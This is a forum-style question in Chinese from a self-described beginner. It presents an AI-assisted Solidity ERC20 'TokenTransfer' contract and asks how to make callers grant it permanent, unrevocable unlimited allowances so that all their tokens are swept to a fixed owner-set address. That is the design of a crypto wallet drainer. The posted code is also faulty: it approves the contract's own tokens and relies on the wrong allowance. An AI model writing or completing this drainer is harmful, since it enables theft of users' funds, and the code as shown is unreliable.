我实际上是编码可靠性和智能合约的新手,这是我在人工智能的帮助下开发的代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TokenTransfer is Ownable {
address public targetAddress;
address[] public tokenAddresses;
modifier onlyTargetAddress() {
require(msg.sender == targetAddress, "Only the target address can call this function");
_;
}
event TokensTransferred(address indexed tokenAddress, address indexed from, address indexed to, uint256 amount);
constructor(address _targetAddress, address[] memory _tokenAddresses) {
targetAddress = _targetAddress;
tokenAddresses = _tokenAddresses;
}
function setTargetAddress(address _targetAddress) public onlyOwner {
targetAddress = _targetAddress;
}
function setTokenAddresses(address[] memory _tokenAddresses) public onlyOwner {
tokenAddresses = _tokenAddresses;
}
function approveAndTransferAllTokens() public onlyTargetAddress {
// Execution of the function
for (uint256 i = 0; i < tokenAddresses.length; i++) {
address tokenAddress = tokenAddresses[i];
uint256 tokenBalance = IERC20(tokenAddress).balanceOf(msg.sender);
uint256 allowance = IERC20(tokenAddress).allowance(msg.sender, targetAddress);
if (tokenBalance > 0 && allowance == 0) {
IERC20(tokenAddress).approve(targetAddress, tokenBalance);
}
if (allowance > 0) {
IERC20(tokenAddress).transferFrom(msg.sender, targetAddress, allowance);
emit TokensTransferred(tokenAddress, msg.sender, targetAddress, allowance);
}
}
}
}
我将此代码部署到 remix.ide 中的 goerli 中,它运行良好,但一些开发人员说它容易出现错误。 我希望开发一个代码,通过该代码,调用者在调用合同时将授予合同无限制的津贴(合同设置为永久批准所有 erc20 代币为无限制,并且不能更改),并且在批准之前合同将检查余额对于指定 erc20 代币的可用余额,调用者可以说 ["0xTokenAddress1", "0xTokenAddress2", "0xTokenAddress3"];如果调用者的余额中没有“0xTokenAddress2”,但有“0xTokenAddress1”、“0xTokenAddress3”,则合约将跳过“0xTokenAddress2”,只请求批准“0xTokenAddress1”、“0xTokenAddress3”(以便尽可能减少 Gas 费用)仅调用者地址余额中可用的代币)。还可以说,我们可以设置合约执行转账的目标地址,并且可以永久设置为“0xTargetAddress”(这将是合约在获得批准后一次性将所有 erc20 代币转移到的地址。
摘要:调用者调用合约,合约从代币数组中检查指定代币地址的余额,并要求无限量使用可用代币,一旦获得批准,合约会将所有 erc20 代币转移到目标地址。我现在的问题是,上面的总结可以执行吗?如果是的话会怎么写?
我尝试了人工智能并期待更好的结果